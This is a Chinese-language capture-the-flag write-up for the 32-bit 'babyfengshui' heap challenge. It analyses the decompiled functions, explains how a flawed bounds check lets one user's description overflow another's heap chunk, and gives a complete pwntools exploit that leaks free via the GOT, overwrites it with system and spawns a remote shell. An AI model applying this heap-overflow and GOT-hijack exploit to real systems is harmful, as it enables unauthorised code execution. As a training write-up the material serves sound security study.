babyfengshui

1 分析

1.1 二进制程序基本信息

1
2
3
4
5
6
7
8
9
10
11
$ file babyfengshui 
babyfengshui: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=cecdaee24200fe5bbd3d34b30404961ca49067c6, stripped

$ checksec babyfengshui
[*] '/mnt/hgfs/vmshare-1604/babyfengshui/babyfengshui'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

1.2 IDA分析源码流程

程序主要有四个函数:添加用户,删除用户,展示用户信息,升级用户信息。

添加用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
····
printf("size of description: ");
__isoc99_scanf("%u%c", &v2, &v0);
add_user(v2);
····
_DWORD *__cdecl add_user(size_t a1)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4

s = malloc(a1);
memset(s, 0, a1);
v2 = malloc(0x80u);
memset(v2, 0, 0x80u);
*v2 = s;
ptr[(unsigned __int8)user_num] = v2;
printf("name: ");
get_v1((char *)ptr[(unsigned __int8)user_num] + 4, 0x7C);
update_description(++user_num - 1);
return v2;
}

添加用户的代码,做了这么一件事,如下图所示。首先创建一个堆块用来存放description信息,用*S指向它;再创建一个堆块,用*V2指向它,前四个字节存放description的地址,后面用来存放名字name;最后将bss段的ptr[0]指向*V2这个堆块。并将byte_804b069自加1,这个值相当于记录目前一共申请了多少个user。

删除用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
printf("index: ");
__isoc99_scanf("%d", &v2);
del_user(v2);

unsigned int __cdecl del_user(unsigned __int8 index)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
if ( index < (unsigned __int8)user_num && ptr[index] )
{
free(*(void **)ptr[index]);
free(ptr[index]);
ptr[index] = 0;
}
return __readgsdword(0x14u) ^ v2;
}

删除用户的代码中,将一个用户拥有的两个堆块分别释放,并将bss段对应的ptr[n]置0。虽然此时*V2的前四个字节还指向*S,但当堆块被扔到bin中时,会做清理,因此不会造成问题。

展示用户信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
printf("index: ");
__isoc99_scanf("%d", &v2);
disp_user(v2);

unsigned int __cdecl disp_user(unsigned __int8 index)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
if ( index < (unsigned __int8)user_num && ptr[index] )
{
printf("name: %s\n", (char *)ptr[index] + 4);
printf("description: %s\n", *(_DWORD *)ptr[index]);
}
return __readgsdword(0x14u) ^ v2;
}

这个函数很简单,根据给定的index,将用户的name和description信息打印出来。通过这个函数的功能我们可以猜测,之后泄露信息一定要用到它。

升级用户信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
printf("index: ");
__isoc99_scanf("%d", &v2);
update_description(v2);

unsigned int __cdecl update_description(unsigned __int8 index)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
if ( index < (unsigned __int8)user_num && ptr[index] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)ptr[index]) >= (char *)ptr[index] - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
get_v1(*(char **)ptr[index], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
}

升级用户信息这个函数乍一看没看出问题,就是不太明白(char *)(v3 + *(_DWORD *)ptr[index]) >= (char *)ptr[index] - 4这一个判断的作用是啥,以为不会有漏洞点就跳过了。谁知道!!问题就出在这儿!!

这一判断的目的是,保证当前用户的description块不会覆盖name块。如果分配给一个用户的两个堆块是相邻的,且description块在低地址,name块在高地址的话,这个判断是很有用的。但是如果这两个堆块不相邻,那么问题就来了,位于description块和name块之间的所有堆块都可以被我们的输入覆盖。

因此,我们只要构造一个用户,其两个堆块在另一个用户堆块description块和name块之间即可。

利用分析

以添加第一个用户为例,需要我们指定description的堆块大小,还会申请一个固定大小0x80的堆块(该堆块被释放后会进入unsorted bin)。如果指定description大小为fast bin的大小,那么当删除这个用户时(非第一个用户,因为第一个用户的堆chunk紧挨着top chunk,释放后会跟top chunk合并而非进入bin中),description块会进入fast bin,而name块会进入unsorted bin(0x80)。

这时,如果我们添加一个用户,并且指定description大小为0x80,那么unsorted bin中的那个块会被分配给这个用户的description,然后再新生成一个0x80大小的chunk给这个用户做name块。因此就构造了如下图所示的两个用户堆块关系:

这样我们调用“升级用户信息”函数更改description A的值,使name B的前四个字节被覆盖为got表中的free表项(泄露free地址,我们要用(1)system替换free(2)将description A的前几个字节改成“/bin/sh\x00”,这样在删除用户free(S)时,就去执行了system("/bin/sh\x00")),这样当我们调用打印信息时,会去打印free这个got表项存放的真正的free函数地址,从而泄露出free函数地址(根据该地址,结合对应的libc版本,我们可以进一步算出libc基址和system函数地址)。

获得system函数地址后,我们调用升级B用户信息,将system地址写入got表中的free表项,从而实现了free函数的劫持。然后在之前往description A中写信息时,将”/bin/sh\x00”写在起始位置。最后,调用删除函数删除用户A的信息,就可以实现get shell利用了。

2 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding=utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./babyfengshui')
#myproc = process(myelf.path)
myproc = remote("159.138.137.79",65054)

def add_user(size,name,text_length,text):
myproc.recvuntil("Action: ")
myproc.sendline(str(0))
myproc.recvuntil("size of description: ")
myproc.sendline(str(size))
myproc.recvuntil("name: ")
myproc.sendline(name)
myproc.recvuntil("text length: ")
myproc.sendline(str(text_length))
myproc.recvuntil("text: ")
myproc.sendline(text)

def del_user(user_index):
myproc.recvuntil("Action: ")
myproc.sendline(str(1))
myproc.recvuntil("index: ")
myproc.sendline(str(user_index))

def disp_user(user_index):
myproc.recvuntil("Action: ")
myproc.sendline(str(2))
myproc.recvuntil("index: ")
myproc.sendline(str(user_index))

def update_description(user_index,text_length,text):
myproc.recvuntil("Action: ")
myproc.sendline(str(3))
myproc.recvuntil("index: ")
myproc.sendline(str(user_index))
myproc.recvuntil("text length: ")
myproc.sendline(str(text_length))
myproc.recvuntil("text: ")
myproc.sendline(text)

add_user(0x10,'name0',0x10,'text0')
add_user(0x10,'name1',0x10,'text1')
del_user(0)
add_user(0x80,'name2',0x80,'text2')

payload = "/bin/sh\x00"+"a"*(0xa0 - len("/bin/sh\x00")) + p32(myelf.got['free'])
update_description(2,len(payload),payload)
disp_user(1)
myproc.recvuntil('description: ')
free_addr = u32(myproc.recv(4))

libc_base = free_addr - 0x070750
system_addr = libc_base + 0x03a940

# 将free函数的got表项写成system函数地址
update_description(1,4,p32(system_addr))

del_user(2)
#gdb.attach(myproc)

myproc.interactive()

3 libc版本

根据泄露的函数地址的后三位可以确定对应的libc版本,具体操作见如下链接。

参考链接:
https://www.jianshu.com/p/8d2552b8e1a2
https://libc.blukat.me/

4 题目参考链接

https://blog.csdn.net/Breeze_CAT/article/details/103788631